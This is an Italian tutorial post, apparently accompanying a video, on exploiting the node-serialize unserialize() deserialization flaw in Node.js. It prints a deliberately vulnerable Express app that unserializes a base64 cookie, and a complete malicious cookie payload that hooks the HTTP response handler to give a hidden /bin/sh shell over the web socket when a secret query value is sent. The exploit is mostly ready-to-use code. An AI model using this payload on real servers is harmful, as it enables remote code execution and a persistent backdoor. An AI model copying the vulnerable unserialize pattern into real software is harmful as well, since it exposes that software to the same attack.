In questo video vedremo insieme come sfruttare la recente vulnerabilità della funzione unserialize() di NodeJS!
Buona visione!
Il Codice vulnerabilte di Nodejs – serialize
Di seguito potete trovare il codice dell’applicazione vulnerable.js
var express = require('express'); var cookieParser = require('cookie-parser'); var escape = require('escape-html'); var serialize = require('node-serialize'); var app = express(); app.use(cookieParser()) app.get('/', function(req, res) { if (req.cookies.profile) { var str = new Buffer(req.cookies.profile, 'base64').toString(); var obj = serialize.unserialize(str); if (obj.username) { res.send("Hello " + escape(obj.username)); } } else { res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", { maxAge: 900000, httpOnly: true }); res.send("Hello stranger"); } }); app.listen(4000);
Nel seguente riquadro il codice del cookie, grazie al quale è possibile sfruttare la vulnerabilità:
{"username":"ajin","country":"india","city":"bangalore","exec":"_$$ND_FUNC$$_require('http').ServerResponse.prototype.end = (function (end) {\r\n return function () {\r\n if (this.socket._httpMessage.req.query.q === 'abc123') {\r\n ['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket))\r\n var cp = require('child_process')\r\n var net = require('net')\r\n var sh = cp.spawn('/bin/sh')\r\n sh.stdout.pipe(this.socket)\r\n sh.stderr.pipe(this.socket)\r\n this.socket.pipe(sh.stdin)\r\n } else {\r\n end.apply(this, arguments)\r\n }\r\n }\r\n})(require('http').ServerResponse.prototype.end)"}
Per ulteriori approfondimenti, vi consiglio di leggere anche l’articolo originale